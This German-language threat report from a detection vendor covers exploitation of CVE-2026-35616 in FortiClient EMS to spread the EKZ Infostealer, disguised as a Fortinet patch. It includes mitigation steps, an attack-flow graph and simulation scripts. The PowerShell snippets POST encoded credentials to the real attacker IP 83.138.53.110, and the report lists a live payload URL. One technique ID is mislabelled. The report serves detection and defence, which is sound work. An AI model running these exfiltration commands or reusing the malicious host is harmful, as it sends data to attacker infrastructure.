FortiClient EMS über CVE-2026-35616 ausgenutzt, um EKZ Infostealer getarnt als Fortinet-Patch zu liefern

SOC Prime Team

Folgen

FortiClient EMS über CVE-2026-35616 ausgenutzt, um EKZ Infostealer getarnt als Fortinet-Patch zu liefern

Detection stack

AIDR
Alert
ETL
Query

Bedrohungsbericht
Angriffsablauf
Erkennungen
Simulationen

Zusammenfassung

Arctic Wolf hat eine Kampagne identifiziert, die ausgenutzt hat CVE-2026-35616 in FortiClient EMS, um ein bösartiges PowerShell-Skript auf verwaltete Endpunkte zu verteilen. Dieses Skript rief eine als legitimer Fortinet-Patch getarnte Nutzlast ab und startete sie zum Stehlen von Anmeldedaten, bekannt als EKZ Infostealer. Die Malware sammelte Passwörter, Cookies und Autovervollständigungsinformationen der Browser und exfiltrierte die gestohlenen Daten über HTTP. Indem die Angreifer die vertrauenswürdigen EMS-Konfigurationskanäle ausnutzten, konnten sie die Nutzlast schnell auf mehreren verwalteten Geräten ausführen.

Untersuchung

Forscher rekonstruierten den Exploit, indem sie speziell präparierte, nicht authentifizierte HTTP-Anfragen an die FortiClient EMS-APIs sendeten, was zu Konfigurationsänderungen führte, die bösartige Skripte einfügten. Ausführungsspuren zeigten fortitray.exe or ipsec.exe , die cmd.exestarteten, was wiederum einen Base64-codierten PowerShell-Befehl ausführte, der p.exe von einer bösartigen IP-Adresse herunterlud. Die Nutzlast schrieb eine log.txt Datei nach ProgramData, sendete die erfassten Daten zurück an denselben Server und löschte sich dann selbst.

Minderung

Organisationen sollten FortiClient EMS auf eine Version aktualisieren, die CVE-2026-35616 behebt und den API-Zugriff auf genehmigte Quell-IP-Adressen beschränken. Verteidiger sollten auch EMS-Protokolle auf zertifikatsbezogene Fehler und unerwartete Änderungen in Remote Access Profiles überprüfen. Ausgehender HTTP-Verkehr von Endpunkten zu unbekannten IP-Adressen sollte blockiert werden, und die Skriptausführung innerhalb von VPN-Profil-Workflows sollte durch minimale Rechtekontrollen eingeschränkt werden.

Reaktion

Wird diese Aktivität festgestellt, sollten betroffene Hosts sofort isoliert, unautorisierte EMS-Konten, die möglicherweise erstellt wurden, widerrufen und bösartige Skriptdateien aus dem FortiClient-Protokollverzeichnis entfernt werden. Ermittler sollten das log.txt Artefakt bewahren, Hashes für die bösartigen Binärdateien berechnen und nach übereinstimmenden Indikatoren in der Umgebung suchen. Ausgesetzte Browser-Anmeldedaten sollten zurückgesetzt und Teams sollten auf verdächtige Authentifizierungsaktivitäten achten, die dem Diebstahl folgen könnten.

graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% Knoten action_initial_access[„Aktion – T1190 Ausnutzung einer öffentlich erreichbaren Anwendung CVE-2026-35616 in der FortiClient EMS API“] class action_initial_access action process_api_requests[„Prozess – Nicht authentifizierte API-Anfragen werden als privilegierte Administratoraktionen verarbeitet“] class process_api_requests process action_cmd_launch[„Aktion – T1059.003 Windows-Befehlszeile fortitray.exe und ipsec.exe starten cmd.exe“] class action_cmd_launch action action_powershell[„Aktion – T1059.001 PowerShell Ausführung eines Base64-kodierten PowerShell-Skripts“] class action_powershell action technique_obfuscation[„Technik – T1027 Verschleierte Dateien oder Informationen Die Payload wird als Base64 bereitgestellt“] class technique_obfuscation technique technique_decode[„Technik – T1140 Dateien oder Informationen entschleiern/dekodieren Laufzeit-Base64-Dekodierung“] class technique_decode technique action_download[„Aktion – T1570 Lateraler Werkzeugtransfer Download von FortiEndpoint_Patch.exe (p.exe)“] class action_download action file_payload[„Datei – FortiEndpoint_Patch.exe (p.exe) Gehostet unter http://83.138.53.110/dl/p.exe“] class file_payload file action_execute[„Aktion – T1203 Ausnutzung zur Client-Ausführung Stille Ausführung der heruntergeladenen Binärdatei“] class action_execute action malware_infostealer[„Malware – EKZ Infostealer Sammelt Anmeldedaten, Cookies und AutoFill-Daten“] class malware_infostealer malware technique_cred_access[„Technik – T1555.003 Anmeldedaten aus Webbrowsern“] class technique_cred_access technique file_log[„Datei – C:\\ProgramData\\log.txt Speicherort für gesammelte Daten“] class file_log file action_exfil[„Aktion – T1567 Exfiltration über Webdienst HTTP-POST an den Server des Angreifers“] class action_exfil action action_cleanup[„Aktion – T1564 Artefakte verbergen Löschen schädlicher Dateien und Protokolle“] class action_cleanup action %% Verbindungen action_initial_access –>|führt_zu| process_api_requests process_api_requests –>|löst_aus| action_cmd_launch action_cmd_launch –>|führt_aus| action_powershell action_powershell –>|verwendet| technique_obfuscation technique_obfuscation –>|erfordert| technique_decode action_powershell –>|lädt_herunter| action_download action_download –>|ruft_ab| file_payload file_payload –>|ausgeführt_von| action_execute action_execute –>|startet| malware_infostealer malware_infostealer –>|führt_aus| technique_cred_access malware_infostealer –>|schreibt_in| file_log file_log –>|gesendet_durch| action_exfil action_exfil –>|gefolgt_von| action_cleanup action_cleanup –>|löscht| file_payload action_cleanup –>|löscht| file_log

Angriffsfluss

Angriffsnarrativ & Befehle:
Der Angreifer hat zuvor Anmeldedaten aus der Windows-Registry (Familie T1216) mit EKZ Infostealer gewonnen. Um den gesammelten Blob zu exfiltrieren, startet die Malware eine PowerShell-Einzeiler, die die Base64-codierten Anmeldedaten zu ihrem Command-and-Control-Server bei 83.138.53.110 postet. Die Verwendung von PowerShell (Invoke-WebRequest) ist eine klassische Technik des „Living off the Land“, die binäre-basierte Erkennungen umgeht, während sie dennoch Netzwerktelemetrie erzeugt, die von der Firewall beobachtet werden kann.
```
powershell
# Simulierte Anmeldedaten-Nutzlast (Base64 von "user:pass")
$payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!"))
$uri = "http://83.138.53.110/collect"
Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded"
```

Regressionstest-Skript: Dieses eigenständige PowerShell-Skript reproduziert den Exfiltration-Schritt und kann für zukünftige Regressionen erneut ausgeführt werden.

powershell
<#
.SYNOPSIS
    EKZ Infostealer Anmeldedaten-Exfiltrationssimulation (HTTP POST).

.DESCRIPTION
    Erzeugt einen gefälschten Anmeldedaten-Blob, kodiert diesen und postet ihn an die
    bekannte bösartige IP, die in der Erkennungsregel verwendet wird.

.NOTES
    Erfordert zulässigen ausgehenden HTTP-Verkehr zu 83.138.53.110 auf Port 80.
#>

# ---- Vorbereitung ----
$creds   = "admin_user:SuperSecret!"
$b64     = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds))
$target  = "http://83.138.53.110/collect"

# ---- Ausführung ----
try {
    Write-Host "[*] Sende Anmeldedaten-Blob an $target ..."
    $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
    Write-Host "[+] HTTP-Status:" $resp.StatusCode
} catch {
    Write-Error "[-] POST fehlgeschlagen: $_"
}

# ---- Ende des Skripts ----

Bereinigungsbefehle: Es werden keine dauerhaften Artefakte auf der Festplatte erstellt, aber um gründlich zu sein, schließen wir alle verbleibenden Webanfrage-Sitzungen und löschen die PowerShell-Variable.

powershell
# Variablen bereinigen und alle offenen Web-Sitzungen schließen
Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue
if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) {
    Remove-WebRequestSession -All
}
Write-Host "[*] Bereinigung abgeschlossen."

Treten Sie der Detection as Code-Plattform von SOC Prime bei um die Sichtbarkeit der für Ihr Unternehmen relevantesten Bedrohungen zu verbessern. Um Ihnen den Einstieg zu erleichtern und unmittelbaren Mehrwert zu erzielen, buchen Sie jetzt ein Treffen mit den Experten von SOC Prime.

Kostenlos beitreten